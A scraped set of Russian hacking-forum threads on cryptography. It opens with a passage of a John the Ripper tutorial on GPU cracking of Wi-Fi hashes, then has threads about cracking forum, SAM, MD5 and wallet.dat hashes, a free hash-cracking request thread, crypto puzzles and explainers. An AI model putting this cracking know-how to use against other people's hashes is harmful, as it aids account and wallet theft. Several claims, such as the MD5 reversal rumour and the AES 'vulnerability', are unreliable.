Затем в папке *C:\cygwin64\home\ИМЯ-ПОЛЬЗОВАТЕЛЯ\JtR\run* переименуйте файл OpenCL.dll в cygOpenCL-1.dll.

Трюк с подменой файла может сработать не для всех систем — но в любом случае вы можете использовать для взлома центральный процессор или встроенную графику.

Откройте консоль Cygwin для выполнения команд.

Запустите тест установки:

Code:Copy to clipboard

~/JtR/run/john --test=0

Запустите бенчмарк вашей системы:

Code:Copy to clipboard

~/JtR/run/john --test

Но всё-таки JtR это одна из тех программ, которая в первую очередь предназначена для Linux. Дальше вы увидите, что мы будем запускать скрипты для генерации (извлечения) хешей из файлов и, например, для некоторых из вспомогательных программ/скриптов нужно, например, установленное окружение Python, которое в Linux присутствует по умолчанию.

Проверка John the Ripper

В этом разделе мы проверим, какие устройства видит John the Ripper для использования во время брут-форса.
Опции на любой системе одинаковые, но помните, что в Windows для запуска John the Ripper нужно открыть Cygwin и в качестве исполнимого файла указывать ~/JtR/run/john.
Если вы запускаете в Linux установленный из стандартных репозиториев файл, то достаточно писать просто

Code:Copy to clipboard

john

Если вы запускаете скомпилированный из исходного кода файл, то перейдите в каталог с исполнимым файлом (в папке программы это директория run) и в качестве исполнимого файла указывайте

Code:Copy to clipboard

./john

Для просмотра устройств OpenCL используйте опцию --list=opencl-devices :

Code:Copy to clipboard

./john --list=opencl-devices

john-5.png

john-6.png
Как вы можете увидеть, у меня три устройства:

1 — видео ядро центрального процессора:

Code:Copy to clipboard

Platform #0 name: Intel(R) OpenCL HD Graphics, version: OpenCL 2.1
    Device #0 (1) name:     Intel(R) Gen9 HD Graphics NEO
    Device vendor:          Intel(R) Corporation
    Device type:            GPU (LE)
    Device version:         OpenCL 2.1 NEO

2 — дискретная видео карта

Code:Copy to clipboard

Platform #1 name: NVIDIA CUDA, version: OpenCL 1.2 CUDA 11.0.228
    Device #0 (2) name:     GeForce GTX 1050 Ti
    Device vendor:          NVIDIA Corporation
    Device type:            GPU (LE)
    Device version:         OpenCL 1.2 CUDA
    Driver version:         450.66 [recommended]

3 — центральный процессор

Code:Copy to clipboard

Platform #2 name: Portable Computing Language, version: OpenCL 1.2 pocl 1.5, Release, LLVM 10.0.0, RELOC, SPIR, SLEEF, POCL_DEBUG
    Device #0 (3) name:     pthread-Intel(R) Core(TM) i7-8750H CPU @ 2.20GHz
    Device vendor:          GenuineIntel
    Device type:            CPU (LE)
    Device version:         OpenCL 1.2 pocl HSTR: pthread-x86_64-pc-linux-gnu-znver1
    Driver version:         1.5

Аналогично в Windows:

Code:Copy to clipboard

~/JtR/run/john --list=opencl-devices

john-12.png
Как уже было сказано, John the Ripper не может просто работать с любыми поддерживаемыми алгоритмами на OpenCL — необходимо, чтобы для них был создан модуль. Поэтому некоторые алгоритмы можно взламывать только на центральном процессоре, а некоторые алгоритмы можно взламывать на видео карте или на центральном процессоре.

Список алгоритмов может различаться от ОС и от установленных зависимостей.

Чтобы посмотреть список поддерживаемых алгоритмов:

Code:Copy to clipboard

./john --list=formats

Список уместился не весь:
john-7.png
Чтобы посмотреть смотреть список алгоритмов для взлома на OpenCL:

Code:Copy to clipboard

./john --list=formats --format=opencl

[![](/proxy.php?image=https%3A%2F%2Fhackware.ru%2Fwp- content%2Fuploads%2F2020%2F08%2Fjohn-8.png&hash=03f4b2fb1ea6e8a840078eb46b257527)](https://hackware.ru/wp- content/uploads/2020/08/john-8.png)
Намного меньше, но Wi-Fi там есть.

Как использовать видеокарту для взлома в John the Ripper

По умолчанию JtR использует центральный процессор, даже если все необходимые драйвера для OpenCL установлены.

Чтобы включить видеокарту, нужно использовать опцию --format и явно указать алгоритм, который поддерживает OpenCL.

Например, для бенчмарка алгоритма wpapsk на видеокарте:

Code:Copy to clipboard

./john --test --format=wpapsk-opencl

Чтобы взламывать wpapsk на центральном процессоре, нужно запускать примерно так:

Code:Copy to clipboard

./john --test --format=wpapsk

john-31.png
Как можно увидеть на скриншотах: 114975/17385=6,61, то есть скорость перебора паролей увеличилась более чем в 6 раз.

Как использовать видео ядро центрального процессора в JtR

Как вы уже знаете, устройствами OpenCL является дискретная видеокарта и интегрированная графика (видео ядро центрального процессора). По умолчанию запускается взлом на дискретной видеокарте.

С помощью опции -dev вы можете явно указать устройство для выполнения вычислений: gpu (дискретная графика) или cpu (интегрированная графика).

Запуск проверки скорости на видео ядре процессора:

Code:Copy to clipboard

./john --test --format=wpapsk-opencl -dev=cpu

Запуск проверки скорости на видео ядре выделенной видеокарты (по умолчанию):

Code:Copy to clipboard

./john --test --format=wpapsk-opencl -dev=gpu

john-30.png

Как запустить бенчмарк John the Ripper

Чтобы проверить скорость перебора паролей в JtR используется опция --test.

Code:Copy to clipboard

./john --test

Эту опцию можно использовать с числом — количество секунд, которое будет выполняться тест.

Code:Copy to clipboard

./john --test=10

Если вы хотите проверить скорость только определённого алгоритма, то используйте опцию --format.

Пример теста скорости взлома пароля Wi-Fi центральным процессором:

Code:Copy to clipboard

./john --test=10 --format=wpapsk

Пример теста скорости взлома пароля Wi-Fi дискретной видеокартой:

Code:Copy to clipboard

./john --test=10 --format=wpapsk-opencl

Если нужно только проверить работу расшифровки различных алгоритмов без запуска бенчмарка, то укажите 0 в качестве значения опции --test :

Code:Copy to clipboard

./john --test=0

Как настроить John the Ripper

У John the Ripper есть файл настроек с большим количеством опцией. Этот файл называется john.conf и находится в той же папке, что и исполнимый файл john.

Обеспечьте хорошее охлаждение; следите за температурой. Если среда выполнения OpenCL поддерживает это, температура графического процессора будет отслеживаться и отображаться в строках состояния, а в john.conf есть изменяемый пользователем предел, который завершит работу при 95 °C.

Эта настройка устанавливается директивой:

Code:Copy to clipboard

AbortTemperature = 95

Температура указывается в градусах Цельсия - °C.

Вместо прерывания, можно остановить программу на это количество секунд, чтобы охладить GPU, когда температура достигнет значения AbortTemperature , затем программа повторно проверит температуру и либо продолжит работу, либо останется на паузе. Установите значение 0 чтобы просто завершить работу.

Если указано SleepOnTemperature = 1(одна секунда), то не будут выводиться сообщения о паузе/возобновлении работы, поскольку такое короткое значение интерпретируется как желание держать температуру видеокарты около крайнего значения. Значение директивы по умолчанию:

Code:Copy to clipboard

SleepOnTemperature = 1

Различие компиляции с AVX2 и AVX для John the Ripper

Чтобы посмотреть параметры сборки используйте опцию --list=build-info :

Code:Copy to clipboard

./john --list=build-info

john-11.png

Бенчмарк двух версий программ:
john-10.png

1. На этой половине скриншота бенчмарк последней версии JtR, которую я скомпилировал из исходного кода. Поскольку мой ЦП поддерживает AVX2, то John the Ripper также это поддерживает.
2. А эту я установил из стандартного репозитория своего дистрибутива — она скомпилирована с AVX.
Разница весьма значительная.

Итог по первой части

Итак, это первая часть по John the Ripper — популярному офлайн брут-форсеру. В ней мы узнали хитрости по установке JtR, а также научились тестировать скорость перебора паролей, включать для использования видео карту и контролировать действия при перегреве.

При запуске подобных программ (John the Ripper и Hashcat) нужно заботиться о должном охлаждении. Если ваш компьютер/ноутбук перегревается, то скорость взлома будет очень значительно падать.

Автор Alexey
взято с hackware.ru

Крипто алгоритм RSA уничтожен?
ID: 676536fbb4103b69df37385f
Thread ID: 49260
Created: 2021-03-12T19:05:38+0000
Last Post: 2021-07-17T08:51:11+0000
Author: tabac
Replies: 18 Views: 5K

Криптографический алгоритм RSA уничтожен?

Пользователь zorinaq опубликовал твиттер-тред, чем может обернуться теоретическая работа Клауса Питера Шнорра:

__https://twitter.com/x/status/1367227971912704001

Немного теории:
RSA (аббревиатура от фамилий Rivest, Shamir и Adleman) — криптографический алгоритм с открытым ключом, основывающийся на вычислительной сложности задачи факторизации больших целых чисел.

Криптосистема RSA стала первой системой, пригодной и для шифрования, и для цифровой подписи. Алгоритм используется в большом числе криптографических приложений, включая PGP, S/MIME, TLS/SSL, IPSEC/IKE и других.

«Если это правда, это открытие сломало бы большинство криптосистем. RSA распространен во многих отраслях: безопасное подключение к (многим) веб- сайтам, подпись кода, чипы кредитных карт и т. д.

Подобные открытия происходят не чаще, чем раз в 2-3 десятилетия.

Шнорр утверждает, что 400-битное число может быть разложено на множители с помощью существующих алгоритмов (QS) за 1,415 × 10 ^ 17 арифметических операций.

Его новая атака довела его до 4,2 × 10 ^ 9 операций.

Что в 34 миллиона раз быстрее

Работа по подбору, которая раньше занимала 92000 лет, теперь может быть выполнена за 1 день!

Улучшение факторизации числа, вдвое большего (800-битного), еще больше:

Существующий алгоритм (NFS): 2,81 × 10 ^ 23 операций
Новая атака Шнорра: 8,4 × 10 ^ 10 операций

Так что в 3300 миллиардов раз быстрее

Неясно, как атака масштабируется с типичным модулем RSA (2048 или 4096 бит).

Как было сказано, вполне вероятно(IMHO) что у атаки есть пробелы или изъяны:

- Шнорр не реализовал алгоритм. Пример факторизованного числа не приводится. Это все теоретически.»

По словам big brain девелопера Антона Букова из 1инч - данное теоретическое исследование не затрагивает разделы эллиптической криптографии, к которым относятся BTC, ETH и т д.

@rxd_txd

БЫстрый брут хэшэй (булка+ипб)
ID: 676536fbb4103b69df373909
Thread ID: 10917
Created: 2006-08-26T07:36:30+0000
Last Post: 2009-06-03T20:04:32+0000
Author: [br]
Replies: 8 Views: 5K

Прога написана на masm'е, в архиве сама она + исходник, ничего лишнего.. с интерфейсом =)

Вписываешь хэш, соль, выбираешь булка или ипб.. и вперед

правда брутит ТОЛЬКО по словарю имхо не вижу смысла посимвольно
250 меговый словарь прогоняет за 30 секунд (атлон 3.04)

ЗЫ просьба отписаться о работе, багах и тд

Задачи по математике и критпографии
ID: 676536fbb4103b69df37391a
Thread ID: 4150
Created: 2005-06-25T22:01:50+0000
Last Post: 2006-12-07T08:05:19+0000
Author: AKella
Replies: 11 Views: 5K

1. Найдите две последние цифры числа 3 в степени 2005.

2. (Устойчивость к перебору-2) Для подтверждения своих полномочий в компьютерной системе, пользователь должен ввести свое имя и пароль, состоящий из семи букв русского алфавита с исключенными Ё и Ь. Файл с паролями пользователей хранится на сервере в зашифрованном виде. Для их зашифрования использовался следующий способ. Буквам алфавита сопоставлены числа от 0 до 30: А - 0, Б - 1, , Я - 30. При зашифровании пароля каждую его букву заменяют остатком от деления на 31 значения выражения 4a3+3a2+9a+28, где а - число, соответствующее заменяемой букве.

љВ начале каждого сеанса работы введенный пользователем пароль зашифровывается и сравнивается с соответствующей записью в файле. При совпадении сеанс продолжается, а при расхождении пароль запрашивается снова.

љАлиса хочет войти в систему под чужим именем, а соответствующий этому имени пароль не знает. Она написала программу, которая в случайном порядке перебирает пароли. Какой из двух паролей - КОСИНУС или ТАНГЕНС - <устойчивее> к действию этой программы?

3. На каждой из трех осей установлено по одной вращающейся шестеренке и неподвижной стрелке. Шестеренки соединены последовательно. На первой шестеренке 10 зубцов, на второй - 8, на третьей - 7. На каждом зубце первой, второй и третьей шестеренок в порядке возрастания по часовой стрелке написаны цифры от 0 до 9, от 0 до 7 и от 0 до 6 соответственно. Когда стрелка первой оси указывает на цифру, стрелки двух других осей так же указывают на цифры. Найти период последовательности, полученной следующим образом. Выписывается наибольшая цифра из тех, на которые указывают стрелки, затем первая шестеренка поворачивается на 36 градусов по часовой стрелке, выписывается наибольшая цифра и т.д.

4. (Диск Альберти-4) Для зашифрования текста использовался вращающийся диск, центр которого находится на оси, закрепленной на неподвижном основании. Диск разделен на 33 равных сектора, в которые в неизвестном порядке вписаны все буквы русского алфавита (по одной в каждый сектор). На основании, по одной напротив каждого сектора, выписаны буквы в алфавитном порядке по часовой стрелке. Каждое положение диска, получающееся из исходного поворотом на угол, кратный величине угла сектора, задает соответствие между буквами на диске и на основании. При зашифровании очередной буквы текста, ее заменяли соответствующей ей буквой при текущем положении диска, после чего диск поворачивался на один сектор по часовой стрелке. Найдите наименьшую длину такой последовательности букв, что если нам станет известен результат ее зашифрования, мы сможем однозначно восстановить расположение букв на диске.

5. Шалтай-Болтай предлагает Алисе при зашифровании текста с помощью диска Альберти (задача N4) после каждой буквы поворачивать диск не на один, а на семь секторов. Стоит ли Алисе принять это предложение? (Ответ обосновать).

SAM файлы
ID: 676536fbb4103b69df37391f
Thread ID: 13022
Created: 2006-10-28T14:15:39+0000
Last Post: 2006-11-03T19:31:53+0000
Author: b1t
Replies: 17 Views: 5K

Здарова.

народ, ну скажите наконец-то что за черня... короче почти все говорят: SAMInside, SAMInside !! но этот программа только снимает хэщи, и иногда выдает пассы(если там простые и короткие). я потом копирую хэши, и попробую через PasswordsPro, а тот тоже не может найти.
И вообше че за слова: LM хэш , и NT хэш.. где то читал, что NT сложно взломать... это правда?
Блин, даже пробовал "на себя". на входе в систему поставил ПАСС (из 6 букв), потом скопировал свой CONFIG папка на рабочий стол (через linux скопировал, потом поставил) и начал опреацию. .. я точно знаю пасс и поставляю тот параметы инаду, чтоб легко нашол пасс , но.. :diablo: нихера не может найти... я даже пробывал по ТУПЫМ перебором.. нету опять.. пробывал менять алгоритм (MD5, MysQL 5.0 и почти все пробывал), но ВСЕРАВНО, без результата...

Че за черня? и как лучше поступить?

взломали мд5 ???
ID: 676536fbb4103b69df373923
Thread ID: 12773
Created: 2006-10-21T14:21:23+0000
Last Post: 2006-10-23T13:47:46+0000
Author: FEAR
Replies: 15 Views: 5K

вот в общем такая тема. недавно мне сказали что какой-то чешский математик в марте сего года нашел обратный алгоритм декодирования мд5 хешей. за 5 часов подбирает 8 любых паролей зашифрованых методом мд5. причем всё это делается на процессоре не более 2 ггц. это лапша или действительно так и есть?

Мое крипто
ID: 676536fbb4103b69df37392a
Thread ID: 10914
Created: 2006-08-25T21:16:02+0000
Last Post: 2006-09-17T10:04:46+0000
Author: /dev/AVR
Replies: 12 Views: 5K

СИСТЕМА НЕ СОДЕРЖИТ СТЕНОГРАФИИ.
ВСЯ “СТЕНОГРАФИЯ” это записать в конец JPEGа зашифрованную
Инфу и все !!!

Смотрю я и думаю, (извиняюсь) какого х… все юзают чужие криптосистемы ???
Они могут и закрытые ключики иметь для спецслужб
(когда то что то ФАПСИ говорило про эту шнягу разработчикам крипто).
Шоб ломать при необходимости было удобно(функция для КГБистов или как их там)

Нам ведь нафиг надо это: что бы пасс от криптограммы лежал внутри криптограммы
А такая шняга может быть обязательной у каждой лицензированной криптосистемы...

Так что ну их на XYZ эти паблик релизы выдающихся фирм-производителей.
Даеш свое производство крипто.

Вот я значит выложил. Гарантирую: Закрытых ключей нет.
Принцип работы: Гаммирование и запись в EOF к JPEGу.

Гамма генератор содержит сопряженный генератор временного сдвига
Произвольного временного значения. Тобиш гамма-генератор с ADDшкой
Псевдослучайного возрастающего числа в рабочий регистр.(32BIT)
(Моя шняга) Пожже объясню что она из себя представляет.

ЮЗАНЬЕ СИСТЕМЫ:

Для шифрования: Устанавливаем режим шифрования
Вводим настоящий пасс. Входной файл-то что хотим зашифровать
Выходной файл- JPEG.
(Прога допишет зашифрованные данные в конец картинки. Шоб для маленькой скрытности)

Режим дешифрирования.
Для дешифрирования: ВХОДНОЙ ФАЙЛ JPEG(обязательно с криптограммой)
Вводим настоящий пасс
Выходной файл- blabalaalalala.pdf(если шифровалась ПДФка)

УСЕ-----------------------------------

Обязательно люди расскажу вам свой принцип гаммирования, но попожже,
Щас просто дописываю одну другую шнягу и ухожу в запой как
Минимум(или вешаюсь)

Надеюсь понятно

Крипт контента сайта,сообщений форума и тп
ID: 676536fbb4103b69df37392e
Thread ID: 10480
Created: 2006-08-13T14:58:06+0000
Last Post: 2006-09-04T12:35:35+0000
Author: Z#092;/Z
Replies: 18 Views: 5K

собстенно сабж.
Мож кто подскажет где можно нарыть инфы по нему.

Криптосистемы с открытым ключом
ID: 676536fbb4103b69df373944
Thread ID: 4161
Created: 2005-06-28T16:59:13+0000
Last Post: 2005-07-04T21:13:38+0000
Author: n1†R0x
Replies: 7 Views: 5K

Наверное, самое слабое место практически в любой криптографической системе - это ключи. И действительно, зная нужный код, можно легко расшифровать любое сообщение. Поэтому ключи должны храниться в абсолютно надежном месте. Однако если взять обычную симметричную криптографическую систему, то мы сталкиваемся с серьезной проблемой. Ведь в этом случае один и тот же ключ нужен как для шифрования, так и для расшифровки данных. Хорошо, если оба процесса осуществляются на одном компьютере. А что делать, если конфиденциальную информацию нужно передать на другой конец земного шара? Тогда оба участника процесса (и отправитель, и получатель) должны иметь ключ. Однако в общем случае при каждом шифровании устанавливается новый код. И этот код нужно как- то переправить получателю данных перед отправкой основного сообщения. Естественно, при передаче ключа должна сохраняться полная секретность. К сожалению, на практике добиться этого очень сложно. Ну а если в распоряжении участников пересылки информации есть надежный секретный канал, то зачем вообще нужно шифрование, не проще ли будет сразу отправить по нему все сообщение?

Хорошим выходом из сложившейся ситуации оказались криптосистемы с открытым ключом. Их суть заключается в следующем. Получатель секретной информации с помощью специального программного обеспечения генерирует два ключа, связанных между собой. Один из них - открытый, или, как часто говорят, публичный. Второй

  • закрытый, или секретный. Он должен храниться в абсолютной тайне. Если кто-то хочет отправить какие-то данные определенному человеку, он должен загрузить его публичный ключ и зашифровать с его помощью информацию. Ну а расшифровать сообщение можно только с помощью секретного ключа, который хранится у получателя. Таким образом, мы избавляемся от необходимости синхронизации ключей и связанных с ней рисков.

Основой всех криптосистем с открытыми ключами являются необратимые математические преобразования. Что это? Например, есть определенная математическая функция y=f(x). При этом значение y вычисляется очень просто. Для этого нужно знать только саму функцию и параметр x. Однако по y и f рассчитать x невозможно. Это и есть необратимое преобразование. Причем под необратимостью в данном случае подразумевается не абсолютная невозможность вычисления параметра x, а всего лишь невозможность сделать это за приемлемый интервал времени с использованием современных вычислительных средств. Кстати, в математике существует огромное количество математических функций, которые, казалось бы, могут быть использованы в криптосистемах с открытым ключом. Однако на самом деле это не так. По разным причинам подавляющее большинство из них не подходят для этого. Реально на сегодняшний день в криптографии используются всего лишь три типа необратимых преобразований: вычисление логарифма в конечном поле, вычисление корней алгебраических уравнений и разложение больших чисел на простые множители.

Итак, использование математических функций необратимого преобразования в криптосистемах с открытыми ключами позволяет добиться следующего. Во-первых, зашифрованный текст не может быть декодирован с помощью публичного ключа. Это очень важно. Ну а, во-вторых, вычисление закрытого ключа на основе открытого также невозможно. По крайней мере, невозможно на современном уровне развития вычислительной техники.

А теперь, когда мы разобрались, что такое криптосистемы с открытым ключом и как они работают, давайте выясним их преимущество перед обычными, симметричными шифрами. И первый плюс "лежит" прямо на поверхности. Вспомним, ведь криптосистемы с открытыми ключами создавались именно для использования во время передачи конфиденциальной информации. И здесь они вне конкуренции. Конечно же, никто не может помешать использовать их и для безопасного хранения важных данных. Однако главное их предназначение - именно передача информации. А это очень важно, например, во время работы в Интернете.

Криптосистемы с открытым ключом очень хороши для безопасной передачи данныхВторое важное преимущество криптосистем с открытым ключом при передаче информации - возможность использования кодов с большей длиной. Дело в том, что в Интернете клиент и сервер чаще всего обмениваются небольшими блоками информации. В симметричной криптографии, если ключ длиннее исходного сообщения, никакого действительного выигрыша от ее использования не достигается. Если уж установлен секретный канал, по которому передается код, то не проще ли отправить по этому каналу сразу всю информацию? Ну а в криптосистемах с открытым ключом длина секретных ключей, необходимых для расшифровки, вообще не имеет значения, поскольку они хранятся у получателя и не передаются с помощью каких-либо способов связи.

Ну и последний большой плюс криптосистем с открытым ключом - это возможность построения на их основе других средств обеспечения информационной безопасности. Это могут быть электронные цифровые подписи, распределенные системы проверки подлинности и т. п. Давайте для примера хотя бы кратко разберем одно из них. Итак, электронная цифровая подпись - это данные, добавляемые к исходному блоку информации, полученные в результате его криптографического преобразования, зависящего от секретного ключа и исходного блока. Она гарантирует целостность сообщений, их неизменность и подлинность авторства.

Работает технология электронной цифровой подписи следующим образом. Каждый пользователь имеет два ключа: публичный и секретный. Первый из них находится в общем доступе, другой - хранится в тайне. Создавая сообщение, человек запускает специальный криптографический алгоритм, который осуществляет математическое преобразование информации с использованием его собственного секретного ключа. Потом данные отправляются адресату. Ну а получатель, чтобы прочитать сообщение, должен провести его криптографическое преобразование с помощью открытого ключа отправителя. Если процесс прошел успешно, значит, во- первых, информация действительно была отправлена именно тем человеком, а во- вторых, "по дороге" ее никто не изменил и не подменил. Вот таким образом электронная цифровая подпись, выполненная на основе криптосистемы с открытым ключом, и гарантирует подлинность пересылаемой информации.

Ну а теперь пришла пора поговорить о недостатках криптосистем с открытым ключом. Собственно говоря, их два. Первый - это большая трудоемкость реализации алгоритмов. Второй - медленная, относительно симметричных систем шифрования, скорость работы. Причина обоих недостатков - это большое число сложных математических вычислений. К счастью, сегодня существуют комбинированные криптосистемы, практически избавленные от недостатков. Их суть заключается в следующем. Если два пользователя должны обменяться большими объемами информации через Интернет, то сначала они используют криптосистему с открытым ключом. Но с ее помощью осуществляют пересылку не основных данных, а только кодов, необходимых для симметричного шифрования. Объем этих ключей совсем небольшой, поэтому времени затрачивается немного. Ну а потом, когда оба участника имеют общие коды, они могут воспользоваться симметричной криптосистемой для шифрования и безопасной передачи сколько угодно большого объема данных.

Итак, подводим итоги. Криптосистемы с открытым ключом отдельно или совместно с симметричным шифрованием - очень удобное средство для безопасной передачи информации с помощью любых видов связи, особенно через Интернет. Это и есть их главное предназначение. А вот когда речь идет о шифровании информации для ее безопасного хранения на одном компьютере, они оказываются не на высоте из-за своей медлительности.

Марат Давлетханов

Брут на Md5
ID: 676536fbb4103b69df373947
Thread ID: 376
Created: 2005-03-24T08:53:46+0000
Last Post: 2005-04-02T07:40:13+0000
Author: boffin
Replies: 9 Views: 5K

дано: md5 hash пароля.
надо: найти сам пароль.
++желательно под *nix, мультиредовое (будет работать на 2xXeon 2800Mhz)
или под win32 желательно распределенное.

зызы: рекомендуйте pls софтинку гудную, а? Или линком ткните на крайняк :)

Шифрование 4096 битным и выше ключом
ID: 676536fbb4103b69df3738a7
Thread ID: 35515
Created: 2020-03-15T06:56:17+0000
Last Post: 2020-07-08T01:54:10+0000
Author: oasis
Replies: 14 Views: 4K

привет.

как можно шифровать данные с помощью 4096 и выше битного ключа? программы, способы - приветствуется все.

заранее спасибо за ответы.

Уязвимость в AES для wallet.dat
ID: 676536fbb4103b69df373740
Thread ID: 117611
Created: 2024-06-26T06:44:49+0000
Last Post: 2024-09-14T01:44:39+0000
Author: trponilov
Replies: 32 Views: 4K

Юзаю уязвимость для AES, использую вместо прямого перебора пароля - статистический, через дифференциальный анализ.
Тема не новая, эксплойт в свободном доступе на гитхабе.
Кто что думает по данной теме?
1719384394545.png

![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2F783895854e10f385e29c47944eb308498c8072474f9eb2418e60007fb54328db%2Fflast101%2Fpadding- oracle-attack-explained&hash=357c7de58be742d2ba2734374dab3419&return_error=1)

[ GitHub - flast101/padding-oracle-attack-explained: Padding Oracle

Attack fully explained and coded from scratch in Python3 ](https://github.com/flast101/padding-oracle-attack-explained)

Padding Oracle Attack fully explained and coded from scratch in Python3 - flast101/padding-oracle-attack-explained

github.com github.com

Запросы на бесплатный взлом хешей
ID: 676536fbb4103b69df37374e
Thread ID: 37361
Created: 2020-05-15T14:38:47+0000
Last Post: 2024-08-12T13:50:35+0000
Author: Joynses
Replies: 17 Views: 4K

Эта тема предназначена для просьб о бесплатном взломе хешей. Сообщения настоятельно рекомендуется оставлять в следующем виде:

1) хеш или хеши ( при большом количестве хешей разместить ссылку на файлообменник или сервис обмена текстовыми записями)

2) алгоритм хеша или его источник, для популярных типов можно указать cms/софт из которого получен хеш

3) если время взлома не слишком долгое, то укажите крайний срок взлома. Так же, если есть какая то дополнительная информация, например наличие этого хеша в сервисах типа cmd5, то укажите это, чтоб быстрее получить отклик.

При ответах с найденными хешами, в случае, если в запрашиваемом списке их было много, по возможности указывайте список оставшихся не найденных хешей (left), чтоб облегчить поиск остальным.

You must have at least 1 message(s) to view the content.

Криптография как метод защиты информации
ID: 676536fbb4103b69df37377b
Thread ID: 15936
Created: 2008-10-14T15:12:53+0000
Last Post: 2023-09-30T21:17:43+0000
Author: baltazar
Replies: 2 Views: 4K

Дело было вечером.Делать было нечего,решил написать статью,и тут мне в голосву пришла мысль о м раскрытии темы о защите информации вцелом,не буду Вас томить нудными историческими справками и статистикой,сразу перейду к делу.
В своей статье я рассмотрю несколько подпунктов:
1.Основные понятия криптографии
2.Алгоритмы шифрования
3.Шифраторы(программы)
4.Аппаратные шифраторы

1.Криптография и шифрование​

Что такое криптография вообще??а криптогра́фия ,как говорит вики, это — наука о математических методах обеспечения конфиденциальности (невозможности прочтения информации посторонним) и аутентичности (целостности и подлинности авторства, а также невозможности отказа от авторства) информации.
Изначально криптография изучала методы шифрования информации — обратимого преобразования открытого (исходного) текста на основе секретного алгоритма и/или ключа в шифрованный текст (шифртекст).
Шифрование - преобразовательный процесс: исходный текст, который носит также название открытого текста, заменяется шифрованным текстом.
Соответственно,дешифрование - обратный шифрованию процесс. На основе ключа шифрованный текст преобразуется в исходный.
Ключ - информация, необходимая для беспрепятственного шифрования и дешифрования текстов.
Алфавит - конечное множество используемых для кодирования информации знаков.
Текст - упорядоченный набор из элементов алфавита.
В качестве примеров алфавитов, ис можно привести :
алфавит Z33 - 32 буквы русского алфавита и пробел;
алфавит Z256
- символы, входящие в стандартные коды ASCII и КОИ-8;
бинарный алфавит - Z2 = {0,1};
восьмеричный алфавит или шестнадцатеричный алфавит;
Криптографическая система представляет собой семейство T преобразований открытого текста. xлены этого семейства индексируются, или обозначаются символом k; параметр k является ключом. Пространство ключей K - это набор возможных значений ключа. Обычно ключ представляет собой последовательный ряд букв алфавита.
Криптосистемы разделяются на симметричные и с открытым ключом ( или асимметричесские) .

В симметричных криптосистемах и для шифрования, и для дешифрования используется один и тот же ключ.

В системах с открытым ключом используются два ключа - открытый и закрытый, которые математически связаны друг с другом. Информация шифруется с помощью открытого ключа, который доступен всем желающим, а расшифровывается с помощью закрытого ключа, известного только получателю сообщения.

Термины распределение ключей и управление ключами относятся к процессам системы обработки информации, содержанием которых является составление и распределение ключей между пользователями.

Электронной подписью называется присоединяемое к тексту его криптографическое преобразование, которое позволяет при получении текста другим пользователем проверить авторство и подлинность сообщения.

Симметричные и асимметричные криптосистемы​

Сгенерировать секретный ключ и зашифровать им сообщение — это еще полдела. А вот как переслать такой ключ тому, кто должен с его помощью расшифровать исходное сообщение? Передача шифрующего ключа считается одной из основных проблем криптографии.
Оставаясь в рамках симметричной системы , необходимо иметь надежный канал связи для передачи секретного ключа. Но такой канал не всегда бывает доступен, и потому американские математики Диффи, Хеллман и Меркле разработали в 1976 г. концепцию открытого ключа и асимметричного шифрования.
В таких криптосистемах общедоступным является только ключ для процесса шифрования, а процедура дешифрования известна лишь обладателю секретного ключа. Например, когда я хочу, чтобы мне выслали сообщение, то генерирую открытый и секретный ключи. Открытый посылаю вам, вы шифруете им сообщение и отправляете мне. Дешифровать сообщение могу только я, так как секретный ключ я никому не передавал. Конечно, оба ключа связаны особым образом (в каждой криптосистеме по-разному), и распространение открытого ключа не разрушает криптостойкость системы.
В асимметричных системах должно удовлетворяться следующее требование: нет такого алгоритма (или он пока неизвестен), который бы из криптотекста и открытого ключа выводил исходный текст.

Итак, криптография дает возможность преобразовать информацию таким образом, что ее прочтение возможно только при знании ключа.(информация, необходимая для беспрепятственного шифрования и дешифрования текстов.)

Для современных криптографических систем защиты информации также есть требования:

1.зашифрованное сообщение должно поддаваться чтению только при наличии ключа;
2.число операций, необходимых для определения использованного ключа шифрования по фрагменту шифрованного сообщения и соответствующего ему открытого текста,
должно быть не меньше общего числа возможных ключей;
3.число операций, необходимых для расшифровывания информации путем перебора всевозможных ключей должно иметь строгую нижнюю оценку и выходить за пределы возможностей современных компьютеров.
4.знание алгоритма шифрования не должно влиять на надежность защиты;
5.незначительное изменение ключа должно приводить к существенному изменению вида зашифрованного сообщения даже при использовании одного и того же ключа;
6.структурные элементы алгоритма шифрования должны быть неизменными;
7.дополнительные биты, вводимые в сообщение в процессе шифрования, должен быть полностью и надежно скрыты в шифрованном тексте;
8.длина шифрованного текста должна быть равной длине исходного текста;
9.не должно быть простых и легко устанавливаемых зависимостью между ключами, последовательно используемыми в процессе шифрования;
10.любой ключ из множества возможных должен обеспечивать надежную защиту информации;

Среди всех способов шифровании я выделил такие методы:

• Алгоритмы перестановки — символы оригинального текста меняются местами по определенному принципу, являющемуся секретным ключом. Алгоритм перестановки сам по себе обладает низкой криптостойкостью, но входит в качестве элемента в очень многие современные криптосистемы.
• Комбинированные методы. Одним из важнейших требований, предъявляемых к системе шифрования, является ее высокая стойкость. Однако повышение стойкости любого метода шифрования приводит, как правило, к существенному усложнению самого процесса шифрования и увеличению затрат ресурсов (времени, аппаратных средств, уменьшению пропускной способности и т.п.).
Достаточно эффективным средством повышения стойкости шифрования является комбинированное использование нескольких различных способов шифрования, т.е. последовательное шифрование исходного текста с помощью двух или более методов.
Вообще говоря, комбинировать можно любые методы шифрования и в любом количестве, однако на практике наибольшее распространение получили следующие комбинации:
1)подстановка + гаммирование;
2)перестановка + гаммирование;
3)гаммирование + гаммирование;
4)паодстановка + перестановка;

Типичным примером комбинированного шифра является национальный стандарт США криптографического закрытия данных (DES).

Криптографический стандарт DES

Алгоритм реализуется в течение 16 аналогичных циклов шифрования, где на I-ом цикле используется цикловой ключ Ki , представляющий собой алгоритмически вырабатываемую выборку 48 битов из 56 битов ключа Ki, I=1,2,…,16.
Из-за небольшого размера ключа было принято решение использовать DES-алгоритм для закрытия коммерческой(несекретной) информации. Практическая реализация перебора всех ключей в данных условиях экономически не целесообразна, так как затраты на реализацию перебора не соответствуют ценности информации, закрываемой шифром.
Основные области применения DES-алгоритма:
1)хранение данных на компьютерах (шифрование файлов, паролей);
2)аутентификация сообщений (имея сообщение и контрольную группу, несложно убедиться в подлинности сообщения;
3)электронная система платежей (при операциях с широкой клиентурой и между банками);
4)Электронный обмен коммерческой информацией( обмен данными между покупателями, продавцом и банкиром защищен от изменений и перехвата.
исходного текста с помощью двух и более методов.
